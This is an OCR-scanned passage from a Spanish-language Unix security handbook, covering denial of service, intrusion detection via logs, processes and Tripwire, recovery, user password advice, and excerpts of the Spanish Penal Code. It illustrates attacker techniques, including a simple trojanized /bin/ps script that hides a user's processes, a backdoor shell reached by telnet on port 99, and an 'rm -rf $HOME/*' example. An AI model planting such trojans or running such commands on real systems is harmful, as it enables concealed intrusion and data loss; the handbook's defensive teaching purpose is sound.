anita:~# awk -F : , $2=="" {print $1}’ /etc/passwd 

Por ultimo, hay que decir que una correcta polftica de cuentas pasa por deshabilitar la entrada 
de usuarios que no utilicen el sistema en un tiempo prudential; por ejemplo, podemos cancelar 
las cuentas de usuarios que no hayan conectado a la maquina en los ultimos dos meses, ya 
que son firmes candidatas a que un pirata las aproveche para atacarnos; la orden finger nos 
puede ayudar a detectar este tipo de usuarios. 

• Negaciones de servicio 

Un tipo de ataque que ni siquiera suele necesitar de un acceso al sistema es el conocido 
como la negation de servicio ( Denial of Service). Consiste basicamente en perjudicar total o 
parcialmente la disponibilidad de un recurso, por ejemplo utilizando grandes cantidades de 
CPU, ocupando toda la memoria del sistema o incluso deteniendo una maquina. Obviamente 
las negaciones de servicio mas peligrosas son las que detienen el sistema o alguno de sus 
servicios de forma remota: 

Las paradas de maquina son, por norma general, fruto de un fallo en la implementation de red 
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del nucleo: por ejemplo, la llegada de un paquete con una cabecera extrana, de una longitud 
determinada, o con una cierta prioridad, puede llegar a detener la maquina si ese paquete no 
se trata correctamente en la implementation del sistema de red. La mejor forma de prevenir 
estos ataques (que no suelen dejar ningun rastro en los ficheros de log) es actualizar el nucleo 
de nuestro Unix periodicamente, manteniendo siempre la ultima version estable. 

En el caso de la detention de servicios determinados, habitualmente los ofrecidos desde inetd, 
la negation de servicio suele ser fruto de un excesivo niimero de peticiones ‘falsas’ al demonio 
correspondiente; por ejemplo, un atacante enmascara su direction IP para sobrecargar de 
peticiones un demonio como in.telnetd lrasta detenerlo. Para evitar estos ataques podemos 
incrementar el niimero de peticiones simultaneas que un demonio acepta (en la option wait de 
la linea correspondiente en el fichero /etc/inetd. conf), aunque esto tambien implica peligros 
de negation de servicio (puede aumentar demasiado el tiempo de respuesta del equipo); una 
forma mucho mas recomendable de actuar no es prevenir estos ataques sino minimizar sus 
efectos: si enviamos una serial SIGHUP al demonio inetd este relee su configuracion, por lo 
que el servicio bloqueado vuelve a funcionar 2 . Por tanto, es recomendable enviar una de estas 
seiiales de forma automatica cada cierto tiempo; podemos planificar esta action para que cron 
la ejecute cada vez que despierte, incluyendo en nuestro archivo crontab una lfnea como la 
siguiente: 

***** /usr/bin/pkill -HUP inetd 2>&1 >/dev/null 


A. 3 Deteccion 

La mayoria de problemas de seguridad en sistemas de I+D implican accesos no autorizados, bien por 
usuarios externos a la maquina o bien por usuarios internos que consiguen un privilegio mayor del 
que tienen asignado. j,Como detectar estos problemas? Hacer esto puede ser algo muy complicado 
si el atacante es un pirata con cierta experiencia y no hemos tornado algunas medidas en nuestro 
sistema antes de que el ataque se produzca. Aqui se presentan unos mecanismos que pueden indicar 
que alguien ha accedido ilegalmente a nuestro equipo. 

• Logs 

Casi cualquier actividad dentro del sistema es susceptible de ser monitorizada en mayor o 
menor medida. Unix ofrece un estupendo sistema de logs que guarda information en ficheros 
contenidos generalmente en /var/ adm/, /var/log/ o /usr/ adm/; esta information varfa desde 
los usuarios que han conectado al sistema ultimamente hasta los mensajes de error del nucleo, 
y puede ser consultada con orclenes como who o last, o con un simple editor de textos. 
Aunque un atacante que consiga privilegios de root en el equipo puede modificar (jo borrar!) 
estos archivos 3 , los logs son con frecuencia el primer indicador de un acceso no autorizado o 
de un intento del mismo. Dependiendo de nuestra configuracion (/etc/syslog. conf), pero 
generalmente en los archivos messages o syslog, podemos ver mensajes que pueden indicar 
un ataque al sistema; a continuation se presentan algunos de ellos: 

— Nov 12 05:35:42 anita in.telnetd[516] : refused connect from bg.microsoft.com 

Este mensaje (conexion rehusada a un servicio) en sistemas con TCP -Wrappers insta- 
lado indica que alguien ha intentado conectar a nuestro equipo desde una maquina no 
autorizada a hacerlo. 

— Nov 7 23:06:22 anita in.telnetd [2557] : connect from localhost 

Alguien ha conectado con exito a nuestro equipo desde una determinada maquina; no 
implica que haya accedido con una nombre de usuario y su contrasena, simplemente que 
ha tenido posibilidad de hacerlo. 

“Obviamente, las conexiones ya establecidas no se pierden. 

cualquier usuario con permiso de escritura en ellos; los usuarios ni siquiera han de tener permiso de lectura en 
la mayoria de los ficheros de log. 
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— SU 11/17 03:12 - pts/3 toni-root 

El usuario toni ha intentado conseguir privilegios de administrador mediante la orden 
su; si lo hubiera conseguido, en lugar de un signo apareceria un ‘ + ’ . En Solaris, 
esto se registra en el fichero sulog, aunque en el fichero messages se notifica si el su ha 
fallado. 

• Procesos 

Si un atacante ha conseguido acceso a nuestro equipo, y dependiendo de sus intenciones, es 
probable que ejecute programas en el sistema que permanecen en la tabla de procesos durante 
un largo periodo de tiempo; tipicos ejemplos son sniffers (programas para capturar trafico 
de red) o bouncers (programas para ocultar una direction en irc). Debemos desconfiar de 
procesos que presenten un tiempo de ejecucion elevado, especialmente si no es lo habitual en 
nuestro sistema. Incluso si el nombre del proceso no es nada extraho (obviamente un pirata 
no va a llamar a su analizador de trafico sniffer, sino que le dara un nombre que no levante 
sospechas, como xzip o ltelnet) es muy conveniente que nos preocupemos de comprobar 
cual es el programa que se esta ejecutando. 

Algo que nos puede ayudar mucho en esta tarea es la herramienta de seguridad lsof, que 
nos indica los ficheros abiertos por cada proceso de nuestro sistema, ya que programas como 
los sniffers o los crackers de claves suelen mantener archivos abiertos para almacenar la 
information generada. 

• Sistemas de ficheros 

Otro punto que puede denotar actividades sospechosas en la maquina es su sistema de fiche- 
ros: 

Por un lado, hemos de estar atentos al numero de archivos setuidados en el sistema: es fre- 
cuente que un pirata que ha conseguido privilegios de root guarde archivos con este bit activo 
para volver a conseguir esos privilegios de una forma mas sencilla (por ejemplo, una copia de 
un shell setuidado como root clara privilegios de administrador a cualquiera que lo ejecute). 
Aclemas, los intrusos suelen crear directories ‘dificiles’ de localizar, donde poder guardar he- 
rramientas de ataque: por ejemplo, si alguien es capaz de crear el directorio /dev/. . ./, 
seguramente cuando el administrador haga un listado de /dev/ ni se dara cuenta de la exis- 
tencia de un directorio con un nombre tan poco comun como ‘ 1 . 

Otra actividad relacionada con el sistema de ficheros es la sustitucion de ciertos programas 
que puedan delatar una presencia extraha, como ps, who o last, o programas crfticos como 
/bin/login por versiones ‘troyanizadas’ que no muestren nada relacionado con el atacante; 
por ejemplo, alguien podrfa sustituir el programa /bin/login por otro que aparentemente se 
comporte igual, pero que al recibir un nombre de usuario concreto otorgue acceso al sistema 
sin necesidad de clave. Un ejemplo muy simple de este tipo de troyanos es el siguiente: alguien 
mueve el archivo /bin/ps a /bin/OLDps y a continuation ejecuta 

anita:~# cat >/bin/ps 
# ! /bin/ sh 

/bin/OLDps $l|grep -v ’ ~ toni’lgrep -v greplgrep -v OLD 
~D 

anita: ~# 

A partir de ahora, cuando alguien teclee ps -ef no vera los procesos del usuario toni. Se 
puede seguir un mecanismo similar 4 con programas como w, finger, last, who o Is para 
conseguir ocultar a un usuario conectado, sus procesos, sus ficheros. . . 

Otro sfntoma que clenota la presencia de un problema de seguridad puede ser la modifi- 
cation de ciertos ficheros importantes del sistema; por ejemplo, un atacante puede modifi- 
car /etc/syslog. conf para que no se registren ciertos mensajes en los archivos de log , o 
/etc/exports para exportar directories de nuestro equipo. El problema de este estilo mas 

4 Realmente el mecanismo suele ser mas elaborado; aqui se ha utilizado una forma muy simple de ocultacion 
linicamente a modo de ejemplo. 
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frecuente es la generation de nuevas entradas en el fichero de claves con UID 0 (lo que implica 
un total privilegio); para detectar este tipo de entradas, se puede utilizar la siguiente orden: 

anita:~# awk -F : 1 $3=="0" {print $1}’ /etc/passwd 
root 

anita: ~# 

Obviamente, si como salida de la orden anterior obtenemos algun otro nombre de usuario, 
aparte del root, seria conveniente cancelar la cuenta de ese usuario e investigar por que aparece 
con UID 0. 

Detectar este tipo de problemas con el sistema de ficheros de nuestro equipo puede ser una 
tarea complicada; la solution mas rapida pasa por instalar Tripwire, comentado en este mismo 
punto. 

• Directories de usuarios 

Dentro del sistema de ficheros existen unos directories especialmente conflictivos: se trata de 
los $H0ME de los usuarios. La conflictividad de estos directories radica principalmente en que 
es la zona mas importante del sistema de archivos donde los usuarios van a tener permiso de 
escritura, por lo que su control (por ejemplo, utilizando Tripwire ) es a priori mas dificil que 
el de directories cuyo contenido no cambie tan frecuentemente. Algunos elementos dentro de 
estos directories que pueden denotar una intrusion son los siguientes: 

— Hemos de chequear el grupo y propietario de cada archivo para comprobar que no perte- 
necen a usuarios privilegiados en lugar de a usuarios normales, o a grupos especiales en 
lugar de a grupos genericos (users, staff. . . ). Por ejemplo, si el padre de los directories 
de usuario es /export/home/, podemos buscar dentro de el ficheros que pertenezean al 
administrador con la orden 

anita: ~# find /export/home/ -user root -type f -print 

— ,/Hay archivos setuidados o setgidados en los directories de usuario? No deberfa, por lo 
que su existencia es algo bastante sospechoso. . . 

— La existencia de codigo fuente, generalmente C, de exploits (programas que aprovechan 
un fallo de seguridad en el software para utilizarlo en beneficio del atacante) puede ser 
indicativo de una contraseha robada, o de un usuario intentando conseguir un privilegio 
mayor en el sistema. ^Como saber si un codigo es un exploit o una practica de un 
alumno? La respuesta es obvia: leyendolo. [Y si se trata de ficheros ejecutables en lugar 
de codigo fuente? man strings. 

• El sistema de red 

Estar atentos al sistema de red de nuestro equipo tambien nos puede proporcionar indicios de 
accesos no autorizados o de otro tipo de ataques contra el sistema. Por ejemplo, si utilizamos 
netstat para comprobar las conexiones activas, y detectamos una entrada similar a 

anita. telnet luisa.2039 16060 0 10136 0 ESTABLISHED 

esto indica que desde el host luisa alguien esta conectado a nuestro sistema mediante telnet', 
puede haber accedido o no (si ha tecleado un nombre de usuario y la contraseha correcta), 
pero el hecho es que la conexion esta establecida. 

Otro metodo muy seguido por los piratas es asegurar la reentrada al sistema en caso de ser 
descubiertos, por ejemplo instalando un programa que espere conexiones en un cierto puerto y 
que proporcione un shell sin necesidad de login y password (o con los mismos predeterminados); 
por ejemplo, si el programa espera peticiones en el puerto 99, el atacante puede acceder al 
sistema con un simple telnet: 

luisa: ~# telnet anita 99 
Trying 195.195.5.3... 

Connected to anita. 
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Escape character is ’ ~] 1 . 


Sun Microsystems Inc. 
anita: ~# 

SunOS 5.7 

Generic October 

1998 


Podemos detectar los puertos que esperan una 
orden netstat: 

anita:'# netstat -P tcp -f inet -algrep 

conexion 

LISTEN 

en nuestro sistema tambien 

* . sunrpc 

* . * 

0 

0 

0 

0 

LISTEN 

*.32771 

* . * 

0 

0 

0 

0 

LISTEN 

* . ftp 

* . * 

0 

0 

0 

0 

LISTEN 

* . telnet 

* . * 

0 

0 

0 

0 

LISTEN 

* . finger 

* . * 

0 

0 

0 

0 

LISTEN 

* . dtspc 

* . * 

0 

0 

0 

0 

LISTEN 

* . lockd 

* . * 

0 

0 

0 

0 

LISTEN 

* . smtp 

* . * 

0 

0 

0 

0 

LISTEN 

* . 8888 

* . * 

0 

0 

0 

0 

LISTEN 

*.32772 

* . * 

0 

0 

0 

0 

LISTEN 

* . 32773 

* . * 

0 

0 

0 

0 

LISTEN 

* . 32774 

* . * 

0 

0 

0 

0 

LISTEN 

* .printer 

* . * 

0 

0 

0 

0 

LISTEN 

* . listen 

* . * 

0 

0 

0 

0 

LISTEN 

* . 6000 

* . * 

0 

0 

0 

0 

LISTEN 

*.32775 
anita: '# 

* . * 

0 

0 

0 

0 

LISTEN 


• Tripwire 

Quizas una cle las formas mas efectivas de detectar accesos no autorizados es mediante el 
programa Tripwire. La idea es sencilla: en un sistema ‘limpio’ (por ejemplo, recien instalado, 
antes de ser conectado a red) se aplica una funcion de resumen ( message digest ) sobre los 
ficheros importantes del equipo, (por ejemplo, ficheros en /etc/, /bin/ o /sbin/). Los re- 
sultados de este proceso se almacenan en un medio que a partir de ese momento sera de solo 
lectura, como un disco flexible protegido contra escritura o un CD-ROM, y periodicamente 
volvemos a aplicar el resumen sobre los ficheros de nuestro equipo; si se detecta un cambio 
(por ejemplo, una variation en el tamaho, un cambio de propietario, la desaparicion de un 
archivo . . . Tripwire nos lo va a indicar. Si no lo hemos realizado nosotros, como administra- 
clores, es posible (muy posible) que ese fichero haya sido modificado en beneficio propio por 
un intruso. 


A. 4 Recuperacion 

^Que hacer cuando se cletecta una intrusion en la maquina? Muchos administradores se hacen 
esta pregunta cuando se dan cuenta de que su seguridad ha sido quebrada. Por supuesto, en esta 
situation se pueden hacer muchas cosas, desde ignorar el hecho y dejar que el pirata haga lo que 
quiera en nuestro sistema (obviamente, esto no es recomendable) hasta intentar localizar al intruso 
mediante denuncia y orden judicial para tracear la llamada; esto tampoco es habitual, ya que es 
muy diffcil demostrar ante un juez que un atacante ha violado nuestra seguridad, por lo que solo 
vamos a perder tiempo y dinero. Lo habitual en entornos universitarios es intentar detectar si el 
atacante pertenece a la comunidad universitaria (en cuyo caso se le puede sancionar), restaurar la 
integridad del equipo de forma que un ataque similar no vuelva a tener exito, y poner de nuevo la 
maquina a trabajar (recordemos que la disponibilidad suele ser lo mas importante en organizacio- 
nes de I+D). Pero, hagamos lo que hagamos, hay que cumplir una norma basica: no ponernos 
nerviosos; si no logramos mantener la calma podemos ser incluso mas perjudiciales para el sistema 
que el propio intruso o podemos poner a este nervioso, lo que puede convertir un simple fisgoneo 
en una perdida irrecuperable de datos. 
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Desde el punto de vista de Unix, es posible que nos interese localizar el fallo de seguridad a- 
provechado por el pirata para cerrarlo y que el problema no vuelva a ocurrir; sin entrar en temas 
complejos como el jailing o la simulation, una de las formas que tenemos para realizar esta tarea 
es monitorizar las actividades del intruso, incluso arriesgando la integridad del sistema (podemos 
hacer una copia de seguridad por lo que pueda pasar). Para realizar esto, hemos de ser conscientes 
de que si alguien ha conseguido privilegios de administrador en la maquina, puede haber modificado 
desde los programas del sistema hasta las librerias dinamicas, pasando incluso por el subsistema de 
accounting de procesos. Por tanto, hemos de clesconfiar de los resultados que cualquier orden nos 
proporcione, ya que el intruso puede haberlos modificado para ocultar sus actividades. Si queremos 
auditar las actividades del atacante hemos de utilizar programas ‘nuevos’, a ser posible compilados 
estaticamente (sin dependencia de librerias dinamicas): podemos utilizar versiones de codigo fuente 
disponible para adecuarlas a nuestro sistema, compilarlas estaticamente en un sistema similar al 
atacado 5 , y utilizarlas en la maquina donde esta el intruso. 

El proceso de modificar librerias dinamicas habitualmente excede los conocimientos del atacan- 
te medio de entornos I+D; como ademas conseguir programas estaticos para nuestro equipo suele 
ser complejo y lento en la mayoria de situaciones, y un objetivo basico es devolver el sistema a 
su funcionamiento normal cuanto antes, lo habitual no es utilizar programas compilados de forma 
estatica sino confiar en que el intruso no haya modificado librerias dinamicas y utilizar versiones 
‘limpias’ de programas dinamicos; por ejemplo, podemos utilizar los programas originales del siste- 
ma operativo que se encuentran en el CD-ROM de instalacion del mismo. 

Si en lugar de intentar monitorizar las actividades del intruso en el sistema lo linico que quere- 
mos es echarlo de nuestra maquina (esto tiene su parte positiva, pero tambien su parte negativa), 
hemos de tener siempre presente que desconocemos lo que ha hecho; la forma mas efectiva de ti- 
rarlo de nuestro equipo es desconectando el cable de red (mucho mejor que utilizar ifconfig para 
detener la tarjeta o shutdown para parar el sistema, ya que el atacante puede haber contaminado 
estos programas para que realicen una actividad diferente a la que en teoria estan destinados). Pero 
no nos podemos limitar unicamente a desconectar el cable de red: el atacante puede tener procesos 
activos en el sistema, bombas logicas, o simplemente tareas destructivas planificadas con at o cron; 
hemos de chequear todo el sistema en busca de este tipo de amenazas. Un lugar interesante donde 
el intruso nos puede causar un problema grave es en los ficheros de initialization de la maquina, 
situados generalmente en /etc/rc?.d/ o /etc/rc.d/. 

Una vez detectado y solucionado el problema de seguridad hemos de restaurar un estado fiable 
de la maquina, esto es, un estado similar al que tenfa antes de ser atacada. Aunque en muchos 
lugares se indica restaurar una copia de seguridad anterior al ataque, esto presenta graves proble- 
mas: realmente no sabemos con certeza cuando se produjo el ataque al sistema, sino que en todo 
caso sabemos cuando se cletecto el mismo, por lo que corremos el peligro de utilizar una copia de 
seguridad que ya este contaminada por el atacante. Es mucho mas seguro reinstalar el sistema com- 
pleto y actualizarlo para solucionar los fallos que posibilitaron la entrada del intruso, por ejemplo 
aplicando patches sobre la version que hemos instalado. 

Restaurar y actualizar el sistema operativo y sus programas puede ser una tarea pesada, pero 
no implica ninguna complication: con toda probabilidad tenemos a nuestra disposition los CD- 
ROMs con el software que hemos de instalar; los problemas reales surgen con los archivos de los 
usuarios: evidentemente, no podemos decirles que para evitar posibles conflictos de seguridad se les 
han borrado sus archivos, sino que lo habitual va a ser mantener el estado de sus ficheros justo como 
estaban durante el ataque o, en caso de que este haya eliminado o corrompido information, tal y 
como estaban exactamente antes del ataque. Por tanto, especialmente si mantenemos el estado de 
los ficheros de usuario, hay que estar atentos a posibles problemas que estos puedan introducir en 
el sistema, comentados en el apartado A. 3. 


5 El pirata tambien puede haber modificado el compilador. 
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A. 5 Recomendaciones de seguridad para los usuarios 

Con frecuencia la parte mas complicada de una politica de seguridad es concienciar a los usuarios 
de la necesidad de medidas basicas de prevention contra ataques. Demasiados usuarios opinan que 
las historias de crackers que atacan ordenadores solo suceden en las peliculas o en organizaciones 
militares de alta seguridad; nada mas lejos de la realidad: en cualquier universidad ocurren a 
diario incidentes de seguridad, de los que solo una pequena parte se detecta (y muchos menos se 
solucionan). Seria pues muy recomendable para el administrador imprimir una hoja con las medidas 
de seguridad basicas o la politica del sistema, y entregar una copia a cada usuario al crear su cuenta. 

• Contrasenas aceptables 

Es conveniente que los usuarios elijan claves medianamente resistentes a ataques de diccio- 
nario; una contraseiia como patata o Valencia es un gran agujero de seguridad para la 
maquina, aunque el usuario que la usa no tenga ningun privilegio especial. Hemos de ver 
la seguridad como una cadena cuya fuerza depende principalmente del eslabon mas clebil: si 
falla este, falla toda la cadena. Sin embargo, el problema de estas claves es que pueden llegar 
a ser dificiles de recordar, de forma que mucha gente opta por apuntarlas en el monitor de su 
estacion o en la parte inferior de sus teclados; obviamente, esto es casi peor que el problema 
inicial, ya que como administradores no podemos controlar estas situaciones la mayor parte 
de las veces. Podemos (y seria lo recomendable) recomendar a los usuarios que utilicen com- 
binaciones de mayusculas, minusculas, numeros y simbolos para generar sus claves, pero de 
forma que la combination les pueda resultar familiar: por ejemplo, combinar numeros y letras 
de la matricula del coche con algunos simbolos de separation; claves de este estilo podrian ser 
V#GF&121, 032897DH o JKnB0322. Obviamente estas claves son mas resistentes a un ataque 
que beatles, pero tampoco son seguras: las acabamos de escribir. 

• Confidencialidad de las claves 

Hemos de concienciar a nuestros usuarios de que las contrasenas no se comparten: no 
es recomendable ‘prestar’ su clave a otras personas, ajenas o no al sistema, ni por supuesto 
utilizar la misma clave para diferentes maquinas. Este ultimo punto muchas veces se olvida en 
sistemas de I+D, donde el usuario se ve obligado a utilizar passwords para muchas actividades 
y tiende invariablemente a usar la misma contraseiia; incluso se utiliza la clave de acceso a 
un equipo Unix para autenticarse en juegos de red (MUDs o IRC) o, lo que es igual de grave, 
para acceder a equipos Windows, de forma que las vulnerabilidades de seguridad de estos 
sistemas se trasladan a Unix. 

• Conexiones cifradas 

Hay que potenciar entre los usuarios el uso de programas como ssh/scp o 
ssl-telnet/ssl-ftp para conectar al equipo. La parte cliente de estos programas es muy 
simple de utilizar, y nos puede ahorrar muchos dolores de cabeza como administradores. 
Incluso existen clientes para Windows y MacOS, por lo que nadie tiene excusa para no usar 
sistemas cifrados (se puede conseguir que su uso sea completamente transparente al usuario); 
casi la mejor forma de que los usuarios los utilicen es dejando de ofrecer ciertos servicios sin 
cifra, como telnet, ftp, rlogin o rsh. 

• Ejecucion de programas 

Nunca, bajo ningun concepto, instalar o ejecutar software que no provenga de fuentes fiables; 
hay que prestar atencion especial a programas que nos envien por correo o por IRC, ya que 
se puede tratar de programas trampa que, desde borrar todos nuestros ficheros, a enviar por 
correo una copia del archivo de contrasenas, pueden hacer cualquier cosa: imaginemos que un 
‘amigo’ nos envia un juego a traves de cualquier medio - especialmente IRC - y nosotros lo 
ejecutamos; incluso disponer del codigo fuente no es ninguna garantia (ique usuario medio lee 
un codigo en C de, quizas, miles de lineas?). Ese programa puede hacer algo tan simple como 
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rm -rf $HOME/* sin que nosotros nos demos cuenta, con las consecuencias que esta orden 
implica. 

• Desconfianza 

Hemos de desconfiar de cualquier correo electronico, llamada telefonica o mensaje cle otro tipo 
que nos indique realizar una determinada actividad en el sistema, especialmente cambiar la 
clave o ejecutar cierta orden; con frecuencia, un usuario se convierte en complice involuntario 
de un atacante: imaginemos que recibimos una llamada de alguien que dice ser el adminis- 
trador del sistema y que nos recomienda cambiar nuestra clave por otra que el nos facilita, 
con la excusa de comprobar el funcionamiento del nuevo software de correo. Si hacemos esto, 
esa persona ya tiene nuestra contraseiia para acceder ilegalmente a la maquina y hacer alii lo 
que quiera; hemos de recordar siempre que el administrador no necesita nuestra ayuda para 
comprobar nada, y si necesita cambiar nuestra clave, lo puede hacer el mismo. 

• Un ultimo consejo. . . 

Cualquier actividad sospechosa que detectemos, aunque no nos implique directamente a no- 
sotros, ha de ser notificada al administrador o responsable de seguridad del equipo. Esta 
notihcacion, a ser posible, no se ha de realizar por correo electronico (un atacante puede 
eliminar ese mail ) , sino en persona o por telefono. 

En muchas ocasiones, cuando un usuario nota un comportamiento extraho en el sistema, no 
notifica nada pensando que el administrador ya se ha enterado del suceso, o por miedo a 
quedar en ridiculo (quizas que lo que nosotros consideramos ‘extrano’ resulta ser algo com- 
pletamente normal); esta situation es erronea: si se trata de una falsa alarma, mucho mejor, 
pero. . . iy si no lo es? 


A. 6 Referencias rapidas 
A. 6.1 Prevencion 

• Cerrar los servicios de inetd que no sean estrictamente necesarios. 

• No lanzar clemonios en el arranque de maquina que no sean estrictamente necesarios. 

• Minimizar el numero de hcheros setuidados o setgidados en la maquina. 

• Instalar TCP Wrappers y utilizar una politica restrictiva: echo ALL: ALL >/etc/hosts . deny. 

• Utilizar TCP Wrappers para controlar el acceso a nuestro sendmail, o utilizar un wrapper 
propio para este demonio. 

• Sustituir telnet, ftp o similares por ssh y scp. 

• No permitir hcheros $H0ME/ . rhosts en los directories de usuarios, y no establecer relaciones 
de conhanza en /etc/hosts . equiv. 

• Deshabilitar las cuentas del sistema que no corresponden a usuarios reales (uucp, lp. . . ). 

• Instalar un sistema Shadow Password para que los usuarios no puedan leer las claves cifradas. 

• Deshabilitar las cuentas de usuarios que no conecten al sistema. 

• Utilizar versiones actualizadas del nucleo del sistema operativo. 

• Evitar sobrecargas de servicio planihcando pkill -HUP inetd en nuestro hchero crontab. 
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A. 6. 2 Deteccion 

• Configurar Tripwire nada mas instalar el sistema y guardar sus resultados en un medio fiable; 
cada cierto tiempo, ejecutar Tripwire para comparar sus resultados con los iniciales. 

• Chequear periodicamente los logs en busca de actividades sospechosas. 

• Utilizar orclenes como ps, netstat o last para detectar cualquier evento fuera de lo normal 
en el sistema, pero no confiar ciegamente en los resultados que se nos muestran en pantalla: 
seamos paranoicos. 

• Comprobar periodicamente la integridad de ficheros importantes de nuestro sistema, como 
/etc/passwd, /etc/exports, /etc/syslog . conf , /etc/aliases o ficheros de arranque. 

• Comprobar tambien elementos como los permisos o el propietario de los ficheros que se en- 
cuentran en los directories de usuarios. 

A. 6. 3 Recuperacion 

• Nunca hay que ponerse nervioso: nuestra maquina ni ha sido la primera ni lamentablemente 
sera la ultima en sufrir un ataque. No es el fin del mundo. 

• Desconfiar de cualquier programa que se encuentre en el sistema; utilizar programas del CD- 
ROM del sistema operativo, o versiones estaticas de los mismos, para tracear las actividades 
del intruso. 

• Si es posible, reinstalar el sistema operativo complete y aplicarle los parches de seguridad que 
el fabricante pone a nuestra disposicion , permanecer atentos a los directories de usuarios y 
a los programas que estos contienen. 

• Si pensamos que la integridad del sistema peligra mucho, desconectar directamente el cable 
de red: utilizar if conf ig down o detener el sistema con shutdown puede incluso acarrearnos 
problemas. 

• Obviamente, antes de poner el sistema de nuevo a funcionar en red, estar completamente 
seguro que los problemas de seguridad que el atacante aprovecho estan solucionados. 

A. 6. 4 Usuarios 

• No elegir claves de menos de seis caracteres, y combinar mayusculas, minusculas, numeros, 
signos de puntuacion. . . cualquier cosa que nos permita el teclado. 

• No apuntar nuestras claves ni compartirlas con otras personas. 

• No utilizar nuestra contraseha de acceso en otros sistemas, especialmente juegos en red o 
equipos Windows. 

• Sustituir telnet y ftp por ssh y sep o similares. 

• Nunca ejecutar programas que nos envien por correo o que consigamos a partir de fuentes 
poco fiables (como un ‘amigo’ que nos pasa un programa por IRC). Tampoco ejecutar ordenes 
cuyo funcionamiento desconocemos, especialmente si alguien desconocido nos indica teclear 
‘algo’ para ver el resultado. 

• Desconfiar de llamadas telefonicas o correo electronico que nos incita a realizar cualquier 
actividad dentro del sistema, especialmente cambiar nuestra clave; si estas situaciones se 
producen, indicarlo inmediatamente al responsable de seguridad del equipo, mediante telefono 
o en persona. 

s O que se distribuyen por Internet. 
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Ante cualquier actividad sospechosa que se detecte es recomendable ponerse en contacto con 
el responsable de seguridad o el administrador, a ser posible por telefono o en persona. 



Apendice B 

Normativa 


B.l Nuevo Codigo Penal 

TITULO X 

Delitos contra la intimidad, el derecho a la propia imagen y la inviolabilidad del 
domicilio 

CAPITULO I 

Del descubrimiento y revelation de secretos 

Articulo 197 

1. El que para descubrir los secretos o vulnerar la intimidad de otro, sin su consentimiento, se 
apodere de sus papeles, cartas, mensajes de correo electronico o cualesquiera otros documentos 
o efectos personales o intercepte sus telecomunicaciones o utilice artificios tecnicos de escucha, 
transmision, grabacion o reproduction del sonido o de la imagen, o de cualquier otra serial de 
comunicacion, sera castigado con las penas de prision de uno a cuatro anos y multa de doce a 
veinticuatro meses. 

2. Las mismas penas se impondran al que, sin estar autorizado, se apodere, utilice o modifique, en 
perjuicio de tercero, datos reservados de caracter personal o familiar de otro que se hallen registrados 
en ficheros o soportes informaticos, electronicos o telematicos, o en cualquier otro tipo de archivo 
o registro publico o privado. Iguales penas se impondran a quien, sin estar autorizado, acceda por 
cualquier medio a los mismos y a quien los altere o utilice en perjuicio del titular de los datos o de 
un tercero. 

3. Se impondra la pena de prision de dos a cinco anos si se difunden, revelan o ceden a terceros 
los datos o hechos descubiertos o las imagenes captadas a que se refieren los numeros anteriores. 
Sera castigado con las penas de prision de uno a tres anos y multa de doce a veinticuatro meses, el 
que, con conocimiento de su origen ilicito y sin haber tornado parte en su descubrimiento, realizare 
la conducta descrita en el parrafo anterior. 

4. Si los hechos descritos en los apartados 1 y 2 de este articulo se realizan por las personas 
encargadas o responsables de los ficheros, soportes informaticos, electronicos o telematicos, archivos 
o registros, se impondra la pena de prision de tres a cinco anos, y si se difunden, ceden o revelan 
los datos reservados, se impondra la pena en su mitad superior. 

5. Igualmente, cuando los hechos descritos en los apartados anteriores afecten a datos de caracter 
personal que revelen la ideologia, religion, creencias, salud, origen racial o vida sexual, o la victima 
fuere un menor de edad o un incapaz, se impondran las penas previstas en su mitad superior. 

6. Si los hechos se realizan con fines lucrativos, se impondran las penas respectivamente previstas 
en los apartados 1 al 4 de este articulo en su mitad superior. Si ademas afectan a datos de los 
mencionados en el apartado 5, la pena a imponer sera la de prision de cuatro a siete anos. 

°Delitos relacionados con nuevas tecnologias. 
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Articulo 198 

La autoridad o funcionario publico que, fuera de los casos permitidos por la Ley, sin mediar causa 
legal por delito, y prevaliendose de su cargo, realizare cualquiera de las conductas descritas en el 
articulo anterior, sera castigado con las penas respectivamente previstas en el mismo, en su mitad 
superior y, ademas, con la de inhabilitacion absoluta por tiempo de seis a cloce anos. 

Articulo 199 

1. El que revelare secretos ajenos, de los que tenga conocimiento por razon de su oficio o sus 
relaciones laborales, sera castigado con la pena de prision de uno a tres anos y multa de seis a doce 
meses. 

2 . El profesional que, con incumplimiento de su obligation de sigilo o reserva, divulgue los 
secretos de otra persona, sera castigado con la pena de prision de uno a cuatro anos, multa de doce 
a veinticuatro meses e inhabilitacion especial para dicha profesion por tiempo de clos a seis anos. 

Articulo 200 

Lo dispuesto en este capitulo sera aplicable al que descubriere, revelare o cediere datos reserva- 
dos de personas jurfdicas, sin el consentimiento de sus representantes, salvo lo dispuesto en otros 
preceptos de este Codigo. 

Articulo 201 

1 . Para proceder por los delitos previstos en este capitulo sera necesaria denuncia de la persona 
agraviada o de su representante legal. Cuando aquella sea menor de edad, incapaz o una persona 
desvalida, tambien podra denunciar el Ministerio Fiscal. 

2 . No sera precisa la denuncia exigida en el apartado anterior para proceder por los hechos 
descritos en el articulo 198 de este Codigo, ni cuando la comision del delito afecte a los intereses 
generales o a una pluralidad de personas. 

3 . El perdon del ofendido o de su representante legal, en su caso, extingue la action penal o la 
pena impuesta, sin perjuicio de lo dispuesto en el segundo parrafo del numero 4° del articulo 130. 

Articulo 248 

1. Cometen estafa los que, con animo de lucro, utilizaren engaho bastante para producir error 
en otro, induciendolo a realizar un acto de disposition en perjuicio propio o ajeno. 

2 . Tambien se consideran reos de estafa los que, con animo de lucro, y valiendose de alguna 
manipulation informatica o artificio semejante consigan la transferencia no consentida de cualquier 
activo patrimonial en perjuicio de tercero. 

Articulo 263 

El que causare dahos en propiedad ajena no comprendidos en otros Titulos de este Codigo, sera 
castigado con la pena de multa de seis a veinticuatro meses, atendidas la condition economica de 
la victima y la cuantia del dano, si este excediera de cincuenta mil pesetas. 

Articulo 264 

1. Sera castigado con la pena de prision de uno a tres arios y multa de doce a veinticuatro 
meses el que causare danos expresados en el articulo anterior, si concurriera alguno de los supuestos 
siguientes: 

1. Que se realicen para impedir el libre ejercicio de la autoridad o en venganza de sus deter- 
minaciones, bien se cometiere el delito contra funcionarios publicos, bien contra particulares 
que, como testigos o de cualquier otra manera, hayan contribuido o pueden contribuir a la 
ejecucion o aplicacion de las Leyes o disposiciones generales. 

2. Que se cause por cualquier medio infection o contagio de ganado. 

3. Que se empleen sustancias venenosas o corrosivas. 

4. Que afecten a bienes de clominio o uso publico o comunal. 

